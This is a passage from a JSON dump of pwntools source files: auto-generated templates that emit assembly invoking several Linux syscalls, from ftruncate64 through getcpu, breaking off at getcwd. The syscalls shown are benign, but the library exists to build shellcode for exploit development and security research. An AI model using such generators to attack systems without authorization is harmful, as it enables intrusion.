    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/ftruncate64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>ftruncate64(fd, length) -> str\n\nInvokes the syscall ftruncate64.\n\nSee 'man 2 ftruncate64' for more information.\n\nArguments:\n    fd(int): fd\n    length(off64_t): length\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, length=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'length']\n    argument_values = [fd, length]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_ftruncate64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_ftruncate64'])\n%>\n    /* ftruncate64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/futex.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>futex(uaddr, futex_op, val, timeout, uaddr2, val3) -> str\n\nInvokes the syscall futex.\n\nSee 'man 2 futex' for more information.\n\nArguments:\n    uaddr(int*): uaddr\n    futex_op(int): futex_op\n    val(int): val\n    timeout(timespec*): timeout\n    uaddr2(int*): uaddr2\n    val3(int): val3\nReturns:\n    int\n</%docstring>\n<%page args=\"uaddr=0, futex_op=0, val=0, timeout=0, uaddr2=0, val3=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['uaddr', 'futex_op', 'val', 'timeout', 'uaddr2', 'val3']\n    argument_values = [uaddr, futex_op, val, timeout, uaddr2, val3]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_futex']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_futex'])\n%>\n    /* futex(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/futex_time64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>futex_time64(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall futex_time64.\n\nSee 'man 2 futex_time64' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_futex_time64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_futex_time64'])\n%>\n    /* futex_time64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/futimesat.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>futimesat(fd, file, tvp) -> str\n\nInvokes the syscall futimesat.\n\nSee 'man 2 futimesat' for more information.\n\nArguments:\n    fd(int): fd\n    file(char*): file\n    tvp(timeval*): tvp\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, file=0, tvp=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['file']\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'file', 'tvp']\n    argument_values = [fd, file, tvp]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_futimesat']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_futimesat'])\n%>\n    /* futimesat(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/get_kernel_syms.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>get_kernel_syms(table) -> str\n\nInvokes the syscall get_kernel_syms.\n\nSee 'man 2 get_kernel_syms' for more information.\n\nArguments:\n    table(kernel_sym*): table\nReturns:\n    int\n</%docstring>\n<%page args=\"table=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['table']\n    argument_values = [table]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_get_kernel_syms']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_get_kernel_syms'])\n%>\n    /* get_kernel_syms(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/get_mempolicy.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>get_mempolicy(mode, nodemask, maxnode, addr, flags) -> str\n\nInvokes the syscall get_mempolicy.\n\nSee 'man 2 get_mempolicy' for more information.\n\nArguments:\n    mode(int*): mode\n    nodemask(unsigned*): nodemask\n    maxnode(unsigned): maxnode\n    addr(unsigned): addr\n    flags(unsigned): flags\nReturns:\n    int\n</%docstring>\n<%page args=\"mode=0, nodemask=0, maxnode=0, addr=0, flags=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['mode', 'nodemask', 'maxnode', 'addr', 'flags']\n    argument_values = [mode, nodemask, maxnode, addr, flags]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_get_mempolicy']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_get_mempolicy'])\n%>\n    /* get_mempolicy(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/get_robust_list.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>get_robust_list(pid, head_ptr, len_ptr) -> str\n\nInvokes the syscall get_robust_list.\n\nSee 'man 2 get_robust_list' for more information.\n\nArguments:\n    pid(int): pid\n    head_ptr(robust_list_head**): head_ptr\n    len_ptr(size_t*): len_ptr\nReturns:\n    long\n</%docstring>\n<%page args=\"pid=0, head_ptr=0, len_ptr=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['pid', 'head_ptr', 'len_ptr']\n    argument_values = [pid, head_ptr, len_ptr]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_get_robust_list']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_get_robust_list'])\n%>\n    /* get_robust_list(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/get_thread_area.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>get_thread_area(u_info) -> str\n\nInvokes the syscall get_thread_area.\n\nSee 'man 2 get_thread_area' for more information.\n\nArguments:\n    u_info(user_desc*): u_info\nReturns:\n    int\n</%docstring>\n<%page args=\"u_info=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['u_info']\n    argument_values = [u_info]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_get_thread_area']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_get_thread_area'])\n%>\n    /* get_thread_area(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getcpu.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getcpu(cpu, node, tcache) -> str\n\nInvokes the syscall getcpu.\n\nSee 'man 2 getcpu' for more information.\n\nArguments:\n    cpu(unsigned*): cpu\n    node(unsigned*): node\n    tcache(getcpu_cache*): tcache\nReturns:\n    int\n</%docstring>\n<%page args=\"cpu=0, node=0, tcache=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['cpu', 'node', 'tcache']\n    argument_values = [cpu, node, tcache]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getcpu']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getcpu'])\n%>\n    /* getcpu(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getcwd.asm",
